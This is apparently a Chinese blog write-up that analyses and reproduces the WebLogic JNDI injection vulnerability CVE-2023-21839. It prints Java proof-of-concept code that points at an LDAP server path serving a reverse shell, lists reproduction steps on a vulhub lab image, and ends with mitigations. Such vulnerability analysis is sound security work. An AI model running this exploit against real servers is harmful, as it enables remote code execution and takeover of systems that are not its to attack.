前言
刷B站的时候给我推的一个WebLogic的比较新的漏洞,可以通过此漏洞直接达到RCE进行getShell的效果,于是就简单复现和分析一下,做个记录。
视频链接
漏洞简单分析
此漏洞是属于WebLogic的JNDI注入漏洞,漏洞造成的原因是Weblogic的t3或iiop协议支持远程绑定对象到服务端,并且能通过lookup查找,如果远程对象继承OpaqueReference就会调用OpaqueReference.getReferent方法,而getReferent方法中存在context.lookup(remoteJNDIName)的实现,导致了可以使用rmi/ldap协议从远程服务器中调用文件并进行执行。
漏洞利用代码如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839{
public static void main(String args[]) throws Exception {
String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
InitialContext c=new InitialContext(env);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,"ldap://ip:1389/Basic/ReverseShell/ip/port");
c.bind("test",f);
c.lookup("test");
}
}
poc中通过InitialContext进行初始化了一个对象,使用反射访问和修改ForeignOpaqueReference的jndiEnvironment和emoteJNDIName进行赋值,将ForeignOpaqueReference远程绑定到JNDI服务,最后调用InitialContext对象的lookup方法执行查找,就可以利用rmi/ldap远程协议进行RCE。之所以绑定ForeignOpaqueReference到服务,因为这个类继承于QpaqueReference接口,当实现此接口的对象从 WLContext 中检索,将由getReferent() 返回对象,通过getReferent()中retVal = context.lookup(evalMacros(this.remoteJNDIName))的实现进行命令执行。
影响版本:
Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0
漏洞复现
-
拉取docker,docker pull vulhub/weblogic:12.2.1.3-2018
-
通过dnslog.cn测试漏洞是否存在
- 漏洞存在,伪造JNDI服务器,反弹shell
通过lookup接口取得反弹shell的payload,执行,反弹shell成功。
防护措施
- 及时安装漏洞修复补丁
- 通过连接筛选器阻止外部访问7001端口的T3协议
- 禁用IIOP协议